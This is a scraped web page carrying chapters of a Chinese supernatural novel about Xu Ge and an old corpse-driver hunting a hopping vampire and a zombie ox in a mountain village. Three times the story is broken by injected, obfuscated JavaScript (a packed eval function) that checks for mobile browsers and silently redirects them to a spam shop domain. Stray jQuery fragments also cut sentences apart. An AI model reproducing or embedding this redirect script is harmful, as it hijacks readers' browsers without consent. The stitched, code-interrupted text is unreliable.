$(''.inform'').remove(); $(''#content'').append('' 累死了,我可是会很惋惜的,”吴关笑起来,“给你放两天假,墙里的尸体等你休假回来再处理。” “不用了,我休息不好的。” “等徐歌回来,需要让她和你一起去查,到时候你这个状态过去说不定会拖累她哦?” 陆南颦眉:“我们查的这两个案子,有联系?” 吴关笑道:“隐隐约约感觉出来一点吧,唉,这种东西像我这样厉害的人也看不真切呐,我只能指一个大致的方向。” “……知道了。”陆南叹了口气,朝着宿舍走去。 …… 回到501,陆南将桌子收拾干净,从旁边的柜子里取出仅剩半瓶的安眠药,又从水龙头里接了一杯凉水放到桌上。 陆南又到柜子里翻了翻,安眠药的说明书不知道去了哪里,陆南隐约记得一次需要吃四片,好像能睡五六个小时,他已经三四天没正儿八经睡过觉了,不知道一次性吃二十片能不能让自己一下子睡够三十个小时……? 算了,万一吃坏了又要被方冉双嘲笑没常识了。上次陆南就是把各种疗效的药混着吃了进去,还以为能同时治好多种病,结果差点把自己毒死。毕竟在如何让自己活得更好这方面,陆南着实是没怎么研究过。 吞下药,陆南拿出吴关给的那两个纸宝,捏在指尖端详着。 里面似乎有字?陆南将其中一个拆开,发现上面板板正正地写了一些经文,开头便是: “万物为身,心生日月。” 居然是掌管造物权柄的元一统造神尊的宝诰! 宝诰是与神尊建立联系的渠道,在特定情景下念诵宝诰甚至会得到神尊的反馈。宝诰通常被誊抄在纸上严密保护,怎么会被孩子拿来叠成宝? 陆南迅速打开另一个纸宝,这是一张画像,上面的人左手悬着月亮右手托着太阳,正是元一统造神尊的正身像!虽然做好了心理准备,陆南还是被冲击到了。这种东西怎么想也不可能流落到街头巷尾被叠成宝赊来赊去吧?原来吴关混进去是为了搜寻这些东西……多亏那些孩子不懂事——不知者无罪——才没有遭天谴。 虽然这样想,陆南一时也不知道应该怎样妥善地处理这张正身像,他虽然知道正身像的宝贵,却对信仰神明缺乏兴趣,能做到的也就是不亵渎祂们而已。这张正身像落到自己手里恐怕也不必被折成宝好多少,思索之下,陆南最终找来一个相框,将那张造物神尊的正身像暂时安置在里面,然后将它摆在了窗边的空桌上,由于宿舍里也没有第二个相框,那张宝诰就被夹在了相框背面。 严格来说,是要为神尊画像正儿八经地弄一个供台供着的,陆南不懂这些也不想弄巧成拙,只能让祂凑合凑合先不要怪罪了 ——再怎么说这里的环境怎么也比流落在街头巷尾被人甩来甩去要好。 陆南打开长声,还没有徐歌的私信消息,不免有些担心,他在私信里嘱咐了几句,又将消息提示音调到最大以便第一时间收到消息提醒,做完这一切后才回到床上勉勉强强地睡了过去。 27.山村跳僵 9 来到东三户,这次徐歌没再窜上墙头直接跳进去,而是礼貌地敲了敲门。 “谁?”院子里传来警惕的声音。 在表明身份后,大门终于缓缓的打开了,院子里这个矮小精壮的男人将徐歌请了进去,顺带给她倒了杯茶。 徐歌匆匆坐下,将茶碗往桌子上一搁,开门见山道:“李村长,关于您孙子……” 村长顿了一下,痛苦再也掩饰不住,他双手握拳抵在头上:“你听说了……我家小帆呐……他爹娘把他交给我——我要怎么向他们交代啊!” “您还记得他去过哪里吗?” “这孩子皮,整天往后山窜,我估计十有八九是跑那里去了,但我找了两天找遍了也没找到……” “您怀疑是和跳僵有关?”徐歌找了个比较委婉的说法。 “梦帆他是皮了点儿,但他跑出去还不敢这么久不回来……我知道他大概率是凶多吉少了。”说完他长长地叹了口气,整个人仿佛矮了三寸。 “村里还有其他失踪的人吗?” “再没有了,目前只有梦帆一个……”村长回头看了一眼屋子的方向,“梦帆奶奶为此不吃不喝,内疚死了呀!” “没见到尸体谁都没办法把话说死,”徐歌安慰道,“我会尽量帮您找的,你们也注意身体才是,太平村不能没有村长。另外,我还想请教您一个问题。” “你问吧。” “乔玉林是干什么的?” 听到这个问题,村长哆嗦了一下:“你咋知道他的?” 徐歌没有选择藏着掖着:“我怀疑村子里那只跳僵就是乔玉林。” 村长结结实实的吃了一惊:“是……是他?!” “报应啊……”村长叹了口气,“乔玉林是个盗墓的,就是靠偷死人陪葬的东西赚钱,听说身后还有个大老板撑腰。” 徐歌说道:“偷死人的东西……最损阴德,也容易被死人的家属记恨,难道乔玉林是因为这个被杀的?” “他是不是中指缺了一节?如果是,那三全村的跳僵八成就是乔玉林。” “那就是了,他是断了节指头,”村长说道,“但没人杀他,是他自己突然暴病死了的,后来就被草草地埋了,大概是干了大半辈子盗墓的营生遭了报应,在棺材里怨气入体成了僵尸,死后也不得安宁。” 没想到这个村长还懂一些这种知识,徐歌接着问道:“那他家里人呢?” “他有个老婆叫李宵美,几年前就搬到恒盛去了,我都快忘了她长什么样了。俩人也一直没要孩子,可能也是觉得自己干这行容易被那些东西缠上所以不敢生吧——就是不知道李宵美知不知道她丈夫已经死了,还变成了这玩意儿……” “你知道他埋在哪儿吗?” “我记得是埋在后山那边的坟地里了,那边都是一些荒坟,平时也没人去。” “好,谢谢村长,我等天亮了就去看看。”徐歌一边道别一边走出了院门。 …… 半小时前。 孟寻真看着徐歌离开自己家院子,然后把门重新锁好,又在门口撒了一把糯米防止僵尸通过门口直接进入院子。 屋里是爹娘和觅远,还有两个更小的弟弟妹妹,外面不能没人看着。孟寻真和孔家父子挤在这处小院子里,没觉得有多么不自在。她看了一眼羊圈旁边的蜡烛,烛光发出的淡明模糊着周围的一小片黑暗。 从小时候开始,她的世界就非常拥挤,拥着推着挑着挤着扶着,老的小的,全是人。哪怕自己趴在窗台上偷偷抹眼泪也会猝不及防地撞上某个探究的目光,她从小就习惯了和人挤在一起,这没什么。 孔有力瑟瑟地蹲在门口,被他爸的眼神一刀,更不知道干什么了。 孔武一直看不惯他这副畏缩的样子,嫌他没主见,但他一有拿定主意的时候——比如留在城里读书——就要马上被孔武劈头盖脸地驳斥回来,说他做的决定都是错的。孔有力搞不懂孔武心里到底在想什么,或许只是单纯讨厌他,恨他一出生,母亲就跟着城里男人跑了,他没本事拴住娘。 咚咚咚! 大门突然被大力敲响了。 “诶?徐歌这么快就回来了?”离门口最近的孔有力疑惑了一下,“忘拿东西了吗?”他急于避开孔武的眼睛,比以往更积极地迎到了门边。 “别开门!”孟寻真想到了什么,朝着孔有力喊道,但为时已晚,孔有力已经先手拉开了大门。 “啊!!!”孔有力惊恐地大叫一声,连滚带爬地往后跑去。 一只散发着恶臭的牛赫然出现在门口,它的皮肤呈现出不正常的青紫色,眼球已经完全被白翳覆盖,粗壮的牛角一下子就把半开的门板顶飞了出去。 孟寻真连连后退:“是牛僵!” “你添什么乱?!!”孔武站起身,一把揪住孔有力的后领,将他甩到了身后。 牛中了尸毒以后就会变成力大无穷的牛僵,最初那只跳僵居然还咬了村里的牛。 那牛僵试探性地往前走了一步,事先撒在门口的糯米嗤的一声灼伤了它的蹄子,牛僵识趣地转身将走。 突然,孟觅远的声音从屋子里传来:“姐姐?我听到有人在叫,发生什么了?” 听到动静的牛僵一个转身,踩过门口的糯米直接冲进了院子! 院子里的三人的心俱是一沉。 “完了……”孔有力这样想着,腿一软,倒在了墙角。 眼见得牛僵就要走到屋门口,孟寻真站在旁边对着屋子里喊道:“发生什么都别开门!” 牛僵听到孟寻真这边的动静后,调转方向弓起背朝着她撞去,后者灵巧地攀上院子里的木架,堪堪躲过了这次攻击。 “往哪儿去!”孔武掏出手里的枪对准了牛僵,没成想那牛僵像是感应到什么一般,转了个身就一蹄子朝着自己撞过来! 孔武下意识将枪横过来去挡,牛僵一下子就将那杆枪撞成了两截,孔武也被掀飞出去,撞进墙角的杂物堆里被埋在了下面。 孔有力哆哆嗦嗦地在墙角看着这一幕,眼见得牛僵一步步追过去,而孔武还没有从那堆杂物里脱身。那个从来没有认可过自己的男人,也会死吗? “快跑!”孟寻真从架子上跳下来喊道,但为时已晚。 下一秒,孔有力不知道从哪里来的胆量和力气,抄了一块砖狠狠地扔向了牛僵。 妈妈生下我就去了外面再也没回来,于是你越发地想把我留在身边。你不让我进城见世面,不让我和外面的朋友联系,你说我上了学就不愿意回来了,你说你怕我在外面受伤。 你只是害怕我会得到你从未拥有过的幸福。 但我做这些才不是为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739386|187291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了你的认可,我做的一切都不是让你认可我的,我只要无愧于自己就够了。 “来啊——!!” 徐歌从村长家出来走了没几步,就听到了这声歇斯底里的喊叫,她往脚跟处塞上疾走符,朝着声音传出来的地方飞奔。 等徐歌从路上纵身跃到墙头,看到牛僵离孔有力只有两步远了,她往下跳的同时拔出钢刀蹬墙借力,反手一刀插进了牛僵的脊背。 抹了公鸡血的钢刀成功地没入了牛僵的身体,但它却好似没有知觉一般仍朝着孔有力逼近,孔有力一把鼻涕一把泪地往墙角使劲地缩。徐歌连忙改为正手握刀,一个挺身将手臂一拧,直接将插在刀上的牛僵轰的一声甩了出去。 趁着牛僵还没站起来,徐歌赶紧扒拉出定身符贴在了它的头上,被分散了注意力的牛僵一下子就被符咒定在了原地,像一座狰狞的雕塑。保险起见,徐歌还操刀把它的角都割了下来。 做完这一切,徐歌才感觉自己有一只胳膊发疼使不上力,原来是刚刚用的力道太大,自己的左胳膊脱臼了。于是她又熟练地给自己接了回去——小时候调皮捣蛋再练武经常受伤,处理这种程度的伤情是家常便饭。 “徐大师好功夫~”缓过神来的孟寻真笑着夸赞了一句。 屋子里的孟觅远见没了危险,于是打开了屋门,哭着扑向孟寻真怀里,他们父母也闻声出来看了一眼,一会儿就又沉默地缩回了屋子里。 徐歌问众人:“你们没有被牛僵伤到吧?” 这时孔武终于爬了出来,他摸了一把脸,回答道:“没事,都没事!” 孟寻真用尾音上扬的句调回答道:“这是在关心我嘛?” 徐歌顾不得小孩在场,朝她翻了个白眼:“只是在确认一下有没有必要连你一起烧死省得尸变。” 孔有力松了口气,他出了一身的冷汗,站起来没几秒钟就又一屁股坐在了地上,孔武默默地走到他的旁边和他并排坐下。 “有柴火没?我要赶紧它烧了,”徐歌指着牛僵道,“刘福生说这玩意儿得用火烧才行。” 孟觅远举手回答:“有!我给你拿!” 孟寻真揉了揉弟弟的头发:“你回屋睡觉,我给这个姐姐拿。” “好吧……”孟觅远听话地嘟囔着,一步三回头地回屋闭上了门。 把柴火撒在牛僵身上,徐歌点燃燃烧符,一把火把它烧成了灰烬。 “这是跳僵不知道把谁家的牛咬了,”徐歌说道,“就是可惜了这么一大头牛。” 说完徐歌便跃上墙头:“你们继续关好门,有任何的动静都别开门。” 熟练翻人家墙头的举动被孟寻真尽收眼底,她忍不住感叹一句:“感觉大师不走寻常路呢。” “不好意思哈,”徐歌嗤笑一声,坐在墙上又有意无意地弄塌了墙上几块砖,“其实我也没那么不好意思。” 孟寻真:…… 褪去了胭脂粉墨的孟寻真此时就像是一朵白描的含苞牡丹,淡淡几笔却将酥软的形态完美勾勒出来。 徐歌看见了,却不好好欣赏,毕竟这样一朵牡丹前几天还举着枪要他们的命呢。 正使着坏,徐歌突然又听到了女人的嚎叫。 “我的帆儿啊——!!” 徐歌心道不好,从墙上一跃而下,又往村长家的方向跑回去。 28.山村跳僵 10 一个人在村子里跑来跑去,补了东头补西头,属实是分身乏力。 徐歌自我安慰道:不过好歹乱子是一个接一个的出,没有一股脑地同时发生…… 气喘吁吁地跑回村长家,徐歌闻到一股强烈的腐臭味,一个小孩立在门口,一下又一下地用头颅撞击着门板。 眼前这东西刚尸变不久,还是最低阶的行尸,身体没有寻常跳僵结实,它这几下的撞击已经将自己的脑袋开了瓢,门上站着斑斑块块的脑浆。 眼见得门板被它撞得摇摇欲坠,徐歌赶紧上去将它一脚踹了出去,紧接着院子里又响起撕心裂肺的喊叫声:“别打我的阿帆!!!” 大门砰的一声打开,从里面冲出一个蓬头垢面的女人,趁着徐歌注意力还在跳僵身上,着了魔一般朝着她撞去,但徐歌从小练武岂是那么容易就能扳动的,徐歌挨这么一下连晃都没有晃一下,那女人反而被自己撞得摔了回去,又被赶过来的村长一把拉住。 “桂兰!别疯了!你看清楚阿帆都变成什么了!” “他变成什么都是我的阿帆!!”女人不管不顾地甩开村长,手脚并用朝着尸变的李梦帆爬去。 刚刚徐歌踹的那一脚已经让它本就腐烂的腿骨折断了,它在地上挣扎半天始终没能爬起来,只能不甘地抬起脸,脸皮还被石头蹭掉了一大块,露出了血淋淋的肉。 见到这一幕的村长流着泪倒吸了一口凉气,而村长的老婆像是根本没注意到一样,仍旧哭嚎着朝着它爬去。 “对不起了!”徐歌照着女人的后脑劈下一个手刀,女人登时一翻白眼晕了过去。 “有没有荔枝树?人尸变了需要荔枝木来烧掉才行。”这个方法是徐歌从画本子上看来的,还没来得及请教刘福生,只能死马当活马医的用出来。 “荔枝树?有,在屋后头有我给小帆种的荔枝……”村长哭着背起女人,对徐歌说道:“大师!麻烦你了!” 徐歌点点头,在李梦帆头上贴了张定身符,在屋后转弯的地方,徐歌回头看了一眼泪如雨下的村长,他的脊背已经弯得不成样子了,和原本那个笔直的老头简直判若两人。 屋后果然有一棵茂盛的荔枝树,这棵树被照料的极好,枝杈上还罩着一层绿网用来防止荔枝被鸟啄食。徐歌扒开网子进去,看见上面红彤彤地结着灯笼般的荔枝,叫人不忍破坏它的枝杈。 这是村长夫妻俩种来给阿帆吃的,没想到最终却要用它来将阿帆烧个干净。 待徐歌采到树枝回去,眼前的一幕却让她僵在了原地。 村长不知何时偷偷揭下了李梦帆头上的符咒,并紧紧抱住了他。村长的脖子已经被跳僵啃断,他的头歪向一边,仅靠那一点黏连着的肌肉吊在脖子上。 遍地的鲜血散发出热烘烘的腥味,徐歌茫然地抬头看向四周,矮趴趴的房屋在日头底下的蒸笼里蒸了一天,像馒头一样膨胀起来,似乎一直要挤压到她的身上。 村长的妻子翻着白眼从昏迷中醒来,眼前的一幕再次带给她冲击,反而让她清醒了过来,她哆哆嗦嗦地站起身,摁住徐歌的肩膀,用异常平静的声音说道:“这是他自己选的,你该怎么办怎么办吧。” 她是清醒的吗?还是已经疯到底了? 在女人的催促下,徐歌把荔枝木撒在他们身上,一把火点燃了。用灵力烧起来的符火能把人直接烧成灰,爷爷抱着孙子跪在火里的身影很快肢解,坍塌,最后化成一堆灰烬。 女人终于落下泪来:“我的阿帆和他爷爷睡在一起了。” 余烬明明灭灭地倒映在徐歌眼中:“对不起,大娘,我不该单独扔下你们,是我太大意了。” 女人摆摆手,找出来一个麻布袋往里面装着骨灰,骨灰掺在一起,分不清谁是谁的。她梦呓般说道:“这都是命,都是报应,我猜就会有这么一天,我一开始只是接受不了为什么会找上阿帆,明明都是我们干的……” 女人拾了骨灰,一步一步朝着屋里挪去,过程中她看了一眼墙上还在燃烧的蜡烛:“是我们把祂招来的,我以为祂能救这个村子,都是骗子……骗子……” 是村长家把烛花娘娘请来的?还有谁骗了他们?看着女人失魂落魄的状态,徐歌心知现在不是该掀腾这条因果的时候,于是将疑问又咽了下去。 …… 直到村里公鸡的叫声把太阳拖到了天上,徐歌才结束了夜间的巡逻,她纵身攀上孟寻真家的墙头,准备往院子里跳。孟寻真已经习惯了徐歌的不走寻常路,甚至还笑着招呼了她一声:“大师回来啦?有什么收获吗?” 徐歌带着坏消息跳下来:“村长和他的孙子都死了。” 一时间,院子里陷入了沉默。看徐歌的表情,孔武知道跳僵肯定是没抓住,但他依旧相信这个小姑娘的实力,毕竟她怎么制服的牛僵大家都有目共睹:“你就说接下来让俺们干啥!俺们还是听你的!” 孟寻真取下蜡烛,低声告诉徐歌:“村长一家惹了不该惹的东西,本来就是凶多吉少,只是借着最近这跳僵清算了而已——因果轮回歹循环。”不等徐歌回答,孟寻真自顾自地走开,打开大门将蜡烛重新挂到了门口。 徐歌叹了口气,选择暂时放下这档事,专注解决眼前:“现在要赶紧回去和刘福生汇合,然后去后山的坟地。” “后山的坟地?” “对,那个跳僵大概是一个叫乔玉林的盗墓贼。” 徐歌注意到,在自己说到乔玉林这个名字的时候,孟寻真的身影明显停顿了一下,而孔家父子听到这个名字的时候脸上的的表情都很茫然。难道乔玉林和恒盛那边有关系? 果不其然,孟寻真回到院子里就对徐歌说道:“我带你去后山。” 徐歌第一反应就是拒绝:“你又想整什么幺蛾子?” 孟寻真仿佛有意恶心徐歌:“大师放心,我乖乖听话的~” 这时是个明眼人都能看出她俩人不对付了,虽然不知道为什么会这样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16748707|187291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孔有力还是在一旁打起了圆场:“我们都知道孟寻真肯定是想帮忙的!但后山很危险,要不就听大师的话……” “我也想去见见跳僵呢……”孟寻真虽然嗓音柔软,用词也十分委婉,但语气却不容置喙。 孔有力知道自己劝不动,便用求助的眼光看向徐歌。 徐歌叉着腰想了一会儿后居然真的不再坚持:“那你就跟着吧,但是先说好有什么危险我不一定能及时救你。” 既然你非要跟着,我想要完全甩掉你也很困难,既然如此我就顺道从你身上套点消息,但你别指望我会上赶着救你。 徐歌和孟寻真对视了一眼,看着徐歌脸上写满了不爽,孟寻真挑衅般的甜甜地勾起了嘴角。 眼见得两人之间的火药味越来越浓,孔武连忙打断道:“那咱们现在就走吧!” 咩——咩—— 羊圈里一大一小两只羊也跟着应和着孔武的话。“羊有点瘦了,回头喂肥了才好吃,”为了避免再出现什么摩擦,孔武从地上捡了个话茬,“记得我之前给你们宰羊的时候,家里的牧羊童还是寻真呢!这一转眼孟觅远就长大了!” “是吗?小时候的事情我已经忘了,”孟寻真幽幽地看了孔武一眼,脸上的表情在晨光里也显得晦暗不清,“我们抓紧赶路吧。” 三人在山路间穿行,孔武在最前端风风火火地带领着队伍前进,徐歌凭借出色的体能和协调能力紧随其后,孟寻真由于身材娇小被落下几米,但她也不生气不作声,只是轻巧地跟在队伍之后。只有孔有力一边追赶前面的俩人一边回头等待孟寻真,就这样连在队伍之间,就像是勉强连接着两个车厢的喀拉喀拉的锁链。 回到山脚,孔武熟练地打开大门,众人迈步进去时发现院子变得十分凌乱,筐子篓子四处散落,墙上遍布抓痕,地面上被人撒了一层薄薄的糯米,上面还有几个骇人的黑色脚印。 莫非昨晚上的跳僵是跑到这里来了?!简直是腹背受敌。 “刘大师呢?!”孔家父子着急地在院子里翻找起来。 孟寻真有些疑惑:“为什么这个反应?大师说不定已经捉住跳僵了。” “话是这么说……”孔有力说道,“可他看起来是个七旬老人,一个人面对跳僵肯定很危险的。” 徐歌打量了一圈狼藉的院子,没有发现人的血迹,于是回答道:“也不用太担心,他能活到七十多证明还是有点本事的。” 孟寻真走到到房门前,伸手推了推,而后转身对着院子里的人道:“房门被从后面抵住了,人应该就在里面。” 话音刚落,徐歌就上前一脚把房门踹了开来,房门后也被撒了几把糯米,这些糯米没有被破坏的痕迹,看来跳僵没有突破这扇门。 终于,徐歌弯腰在桌子底下发现了蜷缩着藏在那儿的刘福生。后者见徐歌进来,手脚并用地从桌底下爬出来,嘴里连声道:“昨晚上跳僵跑这儿来了,差点我就抓住它了,可惜,可惜!” 29.山村跳僵 11 刘福生将铜锣咣啷放在桌子上,从袖子里拿出一根手腕粗的麻绳。 徐歌指着这根平平无奇的绳子问道:“编好了?这就是捆尸索?” 刘福生把绳子拿在手里掂了掂:“来这儿一趟能弄到地阴草编出捆尸索来,不亏!” “这次肯定不能让它再跑了,”刘福生将捆尸索浸在鸡血盆里,“看我今晚上捉它个现行!” 徐歌将昨晚的情况简单向刘福生汇报了一遍,这位赶尸人老头心不在焉地听着,拿木条搅得捆尸索在盆里转圈,临了他徒手将捆尸索从盆里甩出来,血淋淋的绳子淋淋漓漓地往下滴血,找进来的孟寻真和孔家父子见到这场景倒退了好几步。 徐歌补充道:“对了,那个跳僵是本地人,叫乔玉林,我昨晚上跟村长打听到,他被埋在了后山的坟地里。” 刘福生赞赏地看了一眼徐歌,咧开嘴笑道:“嘿,小丫头还算有点本事。白天跳僵都会回棺,咱们直接过去不怎么用动手就能把它捉住。” “是呀,我正好带你们一起过去。”孟寻真的视线从捆尸索上移开,盈盈笑道。 “这妮子是专门给咱们带路的?”刘福生伸手指了指孟寻真,直言不讳,“怎么不找个靠谱点的?这弱不禁风的样子不就是个拖累吗?” 徐歌看了孟寻真一眼:“这就不用担心了,她肯定有她自己的办法。” “先来吃点饭!”孔武点起柴火,噼噼啪啪地将昨天猎来的兔子烤了起来,只是这一只兔子明显不够分,只能找来了一些发干的野菜,和上玉米面,团成不伦不类的团子放在锅里蒸了出来。 等上了桌,刘福生一个人霸占了那只兔子吃得满嘴流油,菜团子是一点也没碰,“这东西狗都不乐意吃吧?”刘福生嫌弃地瞥了一眼。 “实在不好意思了刘大师,再出去打点肉回来就很晚了,”孔武的脸上十分挂不住,“家里没囤下别的东西,只能委屈你们凑合凑合……” 熟悉的场景。孟寻真在心里嗤笑了一声,她刚去恒盛的那几年,这种对乡下货的鄙夷眼神她见得多了。 “说啥呢?狗不吃我吃。”徐歌的声音打断了孟寻真的思绪,只见她毫不在意地抓起菜团子来就往嘴里塞。 “好吃好吃。”自己种出来的庄稼,磨成面格外香。徐歌一边咀嚼一边朝着孔家父子伸了个大拇指。 孔家父子如蒙大赦:“好吃就多吃!” 因为太久没吃饭,徐歌吃得格外香,刘福生看她狼吞虎咽的样子都也想拿几个菜团子尝尝了,但他碍于面子最终还是没有下手。 孟寻真双手托腮,在一旁笑道:“没想到徐歌大师居然吃得下我们乡下的糙饭,我以为……” 我以为你们恒盛来的都是那些朱门酒肉臭的富贵人。 “什么糙饭?这些‘糙饭’我从小吃到大。”徐歌嘴里塞了满满的菜团子。 庄稼人不都是这样吗?扒着吃,挖着吃。 太平村闹旱灾的那几年,野菜都成了稀罕物,为了让爸妈多吃两口面,徐歌偷偷跑出去啃树皮来填饱肚子,那玩意儿又难嚼又塞牙,还差点把自己的嗓子给喇坏。 总之这里啃啃那里嚼嚼的,一家人都活着度过了荒年,自己还养成了只要没毒啥都能尝一口的绝技,为此徐歌还非常得意地在信里跟陆南讲,陆南读了信后马上就自己的积蓄全部给家里邮了回来,还差点辞职从恒盛回家帮衬,为此徐歌还被妈妈教育了一顿,往后就没再跟陆南提起过家里的窘境了。 想到陆南,徐歌又幽怨地瞅了一眼孟寻真,不知道是不是自己的错觉,孟寻真的心情好像变好了一些,拿了一个菜团子开始慢条斯理地吃起来。 ?莫名其妙。徐歌这样想着,加快了咀嚼的速度。 最终,刘福生以“不需要外行人跟着去拖累自己”为由回绝了孔家父子帮忙的请求,只留下孟寻真一人带他们前往后山坟地。 下过雨的后山,鞋子拖泥带水,走起来咕吱咕吱的冒泡。 “跳僵白天都要进棺,晚上才出来活动,”刘福生腿脚慢,拎着铜锣在路上絮絮叨叨,“被那玩意儿挠伤或者咬伤都会中尸毒,活人需要两天,而尸体只需要一晚上就能变成跳僵——想当年我也英勇负伤过,当时凭借着我坚强的意志,在糯米缸里整整待了三天三夜才消去了尸毒!” “哇,好厉害~”孟寻真附和了一句。 “哼,这有个啥,一看你就没见过大世面,”刘福生越说越来劲儿,“要说厉害还得是那次,我遇上了飞僵!和它是血战三天三夜!” “呵呵,又是三天三夜?”孟寻真一针见血地戳破,“还是我没见过世面,不懂大师的战略?” “你……!”刘福生找不到话来反驳,憋红了脸,“你懂个啥!” 徐歌在一旁板着指头数了一遍人形跳僵的等级:“白僵,绿僵,毛僵,飞僵——飞僵应该是最强的那一种吧?” “是啊,飞僵不用回棺,而且刀枪不入,还能使用雷电,一般术士可是完全没办法制服它,也就是我才能和它匹敌!”刘福生接过话茬又说起来,“我这人不喜欢吹,我得承认飞僵之上的那个旱魃,换成我也是束手无策。” “旱魃……那已经脱离了跳僵的范畴,算是个半仙了吧?”徐歌问道。 “何止,比半仙儿还厉害,其实在旱魃之上,还有一个‘犼’,这就是妥妥的邪神,如果真遇上了这玩意儿,想跑也跑不掉,”刘福生说道,“不过好在古往今来,成犼的跳僵只有一个,那就是只在故事里出现过的‘红袖女’,你估计这辈子都不会见到祂的,也不用害怕。” 孟寻真笑眯眯地插进来对着徐歌讲道:“我听人讲过红袖女,讲的是一个被丈夫谋杀的妻子回来复仇的故事,因为那个妻子身穿一身红衣,所以被称为‘红袖女’。” “我在画本子上看的倒是另一个版本,里面的红袖女是个修炼千年的邪祟,专挑小孩子害的那种,”徐歌回想道,“就跟庙老爷一样,关于祂们的故事总是会流传出很多版本。” 刘福生突然停下来说道:“你们在这等等,我去撒泡尿,人老了尿也多喽。” 说完刘福生就自顾自地往旁边的树丛去了。 雨后的阳光很毒,徐歌抬手挡在眉间遮了遮,待刘福生走后,她反手把钢刀架在了孟寻真脖子上:“你当时为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16762848|187291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要抢走庙老爷?” “这是拷问环节嘛?”孟寻真倒也不恼,依旧笑眯眯地回答道:“因为,我想杀了马慈。” “为什么想杀马慈?”徐歌记得长声上很多人都说孟寻真和马慈的关系很好。 “你觉得他的产业是怎么做起来的?”孟寻真收敛了表情,“为什么舞厅出了那么大的事还能跟没事人一样继续开?——因为他养小鬼了。” 徐歌有些不明所以:“养小鬼?” “就是把怨魂炼成小鬼,给自己聚财,很邪门。” “你一个人单枪匹马的为什么去管这种东西?就没别的原因?” 孟寻真回答:道“因为我蠢,被马慈哄骗着签下了卖身契,他用天价的违约金来威胁我,用我家里人威胁我,要我去替他杀人养小鬼,我做不到。所以我才想借庙老爷的力量去推翻马慈。” 徐歌用刀柄把孟寻真劈倒在了地上:“当初你可是对着陆南开枪了,我们当初差点都死在你手上,你在这里跟我说杀人你做不到?!孟寻真,你把我们当傻子吗?” 孟寻真的表情终于沉了下去,她那双勾人的眼睛直勾勾地盯着徐歌:“你说得没错,你们说得都没错,我是个贱|人,我才没有那些高尚的情感,我只是过够了吃不饱饭的日子,我向上爬,向上爬,不惜对着一张张恶心又油腻的脸献殷勤,就是为了钱!但我却被马慈轻而易举地摁在了地上!我不服气,我要杀了他!我处心积虑走到这一步,又凭什么要被你们这几个外人给毁掉?” “乔玉林是给他干活的,马慈那根手串就是乔玉林从墓里偷出来的,所以乔玉林的死肯定和马慈脱不了干系,我之所以要跟过来,是因为说不定我能找到马慈杀人的证据——你放心,我不会报复你们的,我也打不过你们,我知道现在这样是我活该,马慈不会放过我的,我只想把马慈一起拖下去,别的我什么都不求。”这些话不知道在孟寻真心里转了多少遍,以至于说出来的时候已经没了半点波澜。 “我能说的都说了,”孟寻真吸了口气,重新笑起来,“所以现在可以相信我了吗?徐歌大师?” 她坐在地上又哭又笑的,搞得徐歌实在是没有办法再冲她发火了,徐歌收回了钢刀:“暂且相信你。” 孟寻真拍拍衣服站了起来,用手指梳理着那被搅乱的、松松的黄色卷发,笑吟吟道:“我知道你是那水晶心肝玻璃人儿……” 树丛之后突然响起了不紧不慢的敲锣声,紧接着是什么物体咚咚砸在地上的声音,徐歌担心刘福生遇到什么情况,来到树丛边用钢刀把树丛挥开,正赶上一只脑袋上贴着黄符的跳僵迎面跳过来,笔直前伸的胳膊差点戳上她的鼻子。 徐歌紧急弯腰,堪堪保住了鼻子,跳僵那么长的指甲可不是闹着玩儿的。跳僵两臂之间站着刘福生,说是两臂之间也不算,因为这个驼背老头加上头顶的癞疮才堪堪够到跳僵的胳肢窝,因此徐歌第一眼没有看见他。 目睹惊险的场景,孟寻真轻呼了一声,只见刘福生每敲一声锣,那跳僵就跟在他的身后蹦一下,额头上的符咒一掀一落,露出干瘪又陌生的脸。 这就是赶尸人的驭僵之术。 30.山村跳僵 12 赶尸人是可以将怨气未散的无主尸体收到自己麾下的。这些跳僵被赶尸人驭使,等到怨气被磨得差不多了再被安置进土,安安稳稳地赴轮回。 刘福生进村之前就把它藏了起来,昨晚所有人进村传信的时候他把跳僵赶到了屋子里,结果正好遇上了另一只跳僵乔玉林,于是两只跳僵在院里激战。赶尸人所赶的跳僵有一个好处,就是天亮不必回棺,跳僵乔玉林被他们拖到天亮,只得先行脱身,刘福生趁这段时间把他这只跳僵就近藏了,此行走到半路上才又召了出来。 有了这只高大威猛的跳僵加入,徐歌觉得胜算提高了不少,但刘福生似乎还嫌不够,从法袍里神秘兮兮地摸出来一瓶棕黄色液体。 “童子尿,现哄了个小子尿的,辟邪好东西。”刘福生嘬着没牙的牙花子朝着二人晃了晃手中的瓶子。 